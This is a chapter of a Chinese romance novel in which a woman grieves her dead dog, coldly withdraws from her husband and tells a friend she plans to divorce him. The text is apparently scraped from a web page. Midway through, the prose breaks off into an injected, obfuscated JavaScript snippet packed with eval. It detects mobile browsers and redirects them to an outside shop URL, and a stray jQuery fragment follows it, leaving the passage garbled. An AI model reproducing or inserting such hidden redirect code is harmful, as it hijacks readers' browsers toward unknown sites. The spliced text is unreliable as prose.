2022年8月19日，南城。
一辆黑色轿车从医附院停车场驶出。它价格不菲，但开了太多年，加之主人不甚爱惜，车身遍布灰白色划痕。
开出几百米后，车被第一个红灯拦下。驾驶位的车窗缓缓落下，一只骨节分明的大掌撑在窗沿上，指间捏着根刚被点燃的香烟。
微风吹过，烟雾飘向远处。
顺着他手腕向上看去，是肌肉紧实的小麦色手臂。
倒计时还剩十秒，红灯开始闪烁，他右手搭在换挡杆上，静静等待。
忽然，另一只白皙的手伸到窗边，攀上他手腕。
一道清冷的女声响起：“还给我。”
男人充耳不闻，将手伸得更远。
争夺间，女人整个上身都送进了他怀里。他趁势用另一条胳膊压在她脊背上，控制她的活动。
“赵寻林！”
她清冷的音色染上几分恼怒，挣脱开他的压制直起身，一个巴掌猛地就甩到了他脸上。
“啪！”
就在此时，绿灯亮起。
赵寻林转回被打偏的脸，一言不发，松开左手手指。
细长的香烟无声落地。
在后车不耐烦的喇叭中，他关上车窗。
车起步，车轮转动。从后视镜中，徐观鱼看到那半截烟被碾灭。
缓缓收回视线，她深深地吸气，努力压下胸口那阵汹涌的怒气。
“前面那个路口停车。”再开口，她语气中已然不带任何情绪。
“不好打车。”赵寻林回道。
徐观鱼重复了一遍：“前面那个路口，停车。”
赵寻林没有再开口拒绝。
也没有停车。
此后二十分钟的路程，诡异的沉默缠绕在他与她之间。他目不斜视，余光都不往她身上落，却还是接收到了…她的厌恶。
甚至说是憎恨。
车子稳稳停在单元门口，他们一前一后回到家。徐观鱼直奔厨房，给自己倒了一杯水。
赵寻林紧跟其后，在她端起杯子时，握住她手腕，“顺便把药喝了。”
说着，他从塑料袋中掏出那两盒药。
徐观鱼一把挣开，冷冷瞥他一眼，“你留着自己用吧。”
她端着杯子钻回房间，嘭的一声关上门，又拧上了锁。
门外，赵寻林的身形僵持了须臾。直到口袋中手机响动，才放下举在空中的手。
“喂？”
“是赵先生吗？您家爱犬的火化已经完成，可以来带它回家了。”
“好。”
电话挂断后，赵寻林看向紧闭的房门。犹豫过后，他拿起岛台上的钥匙，带上提早准备好的骨头形状的骨灰盒，沉默出了门。
屋内，隐隐听到关门声，窝在飘窗的徐观鱼条件反射地偏头瞥了一眼，却只看到门旁墙壁上的那张合照。
照片上她身着白裙，笑得明媚；赵寻林一本正经地穿着全套西装，目光温柔；在他俩中间，还有一只表情憨厚呆笨、略显局促的萨摩耶。
她记得很清楚，那一天是2015年4月5日清明节，蓝天白云，阳光很好，她和赵寻林牵着刚捡到家五天的小狗，在公园散步。恰巧她最好的朋友陈梦月也有空，和他们同行，并在一片开阔的绿色草坪前，为他们拍下这张照片。
此后七年，这张合照一直挂在卧室。
徐观鱼走到墙壁前，轻轻摘下相框，凝望图中央的萨摩耶。那时它的状态不是很好，流浪了太久，瘦骨嶙峋。
也就是那天回到家，她对赵寻林说：“我想好了，就叫它胖胖吧。”
希望它来到她家之后，只吃肉，不吃苦，早日长胖。
初心是美好的，但后来胖胖真的狗如其名，胖成了球，她又后悔。
因为给狗减肥真的很难。
还记得大大前年，胖胖的体重再一次突破纪录，为了它的健康，她和赵寻林想尽法子。
具体来讲，就是她负责天天按着胖胖的狗头，一遍遍告诉它：“傻大儿，你改名了，你现在叫瘦瘦，知道吗？”
而赵寻林负责做减脂餐，以及遛狗。
两个月后，赵寻林轻了六斤，牵绳的右臂上的肌肉都拉丝了。
狗硬是一两没瘦。
他百思不得其解，每次给胖胖称完体重，总斜倚在门框上，皱着眉说：“邪门。”
而她蹲在地上呼撸狗头，不敢吭声。
直到又过半个月，赵寻林半夜起床上厕所，撞见一人一狗蹲在马桶边。狗可怜兮兮，哼哼唧唧；人满脸心疼，边蹑手蹑脚掏狗粮，边捏紧它嘴筒子：“嘘…嘘！只能吃一点点…”
被困扰多日的赵寻林终于恍然大悟。
不是这条蠢狗的存在违背了能量守恒定律。
是组织里有叛徒。
那夜，厕所的灯被啪嗒拍亮，胖胖狗躯一震，她更是吓得没蹲稳，跪在了地上。
身后，阴恻恻的声音响起：“徐观鱼，你全责。”
指腹在相框边缘抚过，温润的木头被她摸到不再泛凉。徐观鱼的眼角溢出几分笑意，直到她自己察觉到，神情一滞，唇角僵住。
意识从回忆中抽出，她想起来，胖胖昨天死了。
她拿相框的手不自觉攥紧，僵站良久，没有再把相框挂回原位，而是塞进了柜子深处。
窗外天色渐暗，分针走了一圈，徐观鱼从窗边望见，那辆熟悉的黑色轿车又回来了。
没一会儿，她听到赵寻林开门的动静。紧接着，房间门被敲响。
“出来吃饭，买了粥。”
“我不饿。”
“胖胖的骨灰带回来了。”赵寻林又说。
徐观鱼不吭声。
“这个盒子有点大，你看看要不要换一个？”
她还是不说话。
今天忍她到这个点，赵寻林的耐心终于见了底，语气冷了下去：“出来。”
最近半年，门锁已经被他踹坏不下十次。到头来修锁的钱还得她出。想了想，徐观鱼主动打开了门。
门框刚裂开一条缝，赵寻林就钳住她的手肘，连拉带拽的将她扯到客厅岛台边。
他指着台面上的骨灰盒，问她：“你还要吗？”
徐观鱼掰住他手指，甩掉他掐在手臂上的大掌。迎着他森然的目光，她不甘示弱，眼底的嫌憎宛若锋利的刀刃，没有一丝迟疑，就那样冷酷地扎向他心脏。
心头阵阵紧绞，赵寻林从她眼中看到了回答。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17492433|202297||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
她不想要了。
死去的胖胖她不想再管，骨灰盒买什么尺寸她懒得浪费精力去在意，埋在哪里或扔在哪里她都无所谓。
他这个共同生活了七年的丈夫，她更是多看一眼都嫌烦。他做了什么、他心情如何、他和谁待在一起……但凡和他有关的，她全都避之不及。
毫无征兆，他意识到，徐观鱼好像不爱他了。
这实在太离奇，以至于疑惑在一瞬间占满他整颗心，没有多余空隙去囤积悲伤，连同这些天积攒的愤怒也一并消散。
他向她蹭近半步，努力放柔语气：“宝宝，到底怎么了？”
徐观鱼哪知道他在这短短几秒内经历了怎样的心理路程。
面对他宛若瞬间切号的态度转变，她没有在意他的话语，而是警惕地绷紧了身体。
沉默，又是沉默。
沉默的尽头，是赵寻林的上身从隐含期待的前倾回归到正位。
他最后瞥了一眼台面上的胖胖的骨灰，摸到兜里还没来得及掏出的车钥匙后，再一次离开。
一百二十平的房子只剩下徐观鱼一个活物。
静得吓人。
————
“出来吃馄饨还带着粥啊？”
淡橘色灯光下，方方正正的小木桌泛着一层油光，上面摆了两碗热气腾腾的馄饨。
徐观鱼舀起一只馄饨，垂着眸子说：“赵寻林买的，扔了浪费。”
说完，她冲着勺子轻轻吹气，很有耐心地瞧那薄薄的馄饨皮是如何在清汤中游动的。
妆容凌厉的短发女人盯着她苍白的脸，轻易看出她在走神。
“诶，你跟我说说，你俩咋了？”
“没咋。”徐观鱼吹了半天也不吃，又把勺子放回了汤碗里。她看向对面满眼好奇的晏杏，平静道：“只是有点累。”
“怎么，厌倦他了？”
徐观鱼没否认，也没承认。她看向无名指上的婚戒，说：“和他在一起太久了，日复一日，这辈子一眼望得到头。说实话，挺无聊的。”
“那你有啥打算吗？”
徐观鱼抬眼看向她，“有，打算提离婚。”
微微张开嘴唇，晏杏怔了片刻，“你…你认真的？”
看出徐观鱼确实没有开玩笑的意思，晏杏撂下了勺子，坐直身子正色道：“不儿，会不会有点冲动啊，就因为无聊，要离婚？”
徐观鱼搓着戒指，“没冲动，想很久了。”
“啊？为啥啊，你那时候那么喜欢他。”晏杏微微皱眉，“而且，赵寻林能愿意吗？他工作辞这么多年了，天天就守着你，兜里分毛没有，一辆车开十年，后备箱里添个马扎都得问你意见……”
徐观鱼轻笑一声，唇角弯了，眼底却没什么笑意。
“可我烦的就是这一点啊。”
晏杏再次张了张嘴，连眼都瞪大了，似乎是觉得坐在对面的人有点陌生。
“鱼啊，咱们这样是不是有点不道德。”她指了指自己胸口的工牌，说，“工作可是你非让他辞的，要不然我现在见他，还得叫一声赵总呢。”
“确实不道德，但是没办法。”徐观鱼轻不可闻地叹了一口气，“实在不行，离婚办完我多给他点钱。”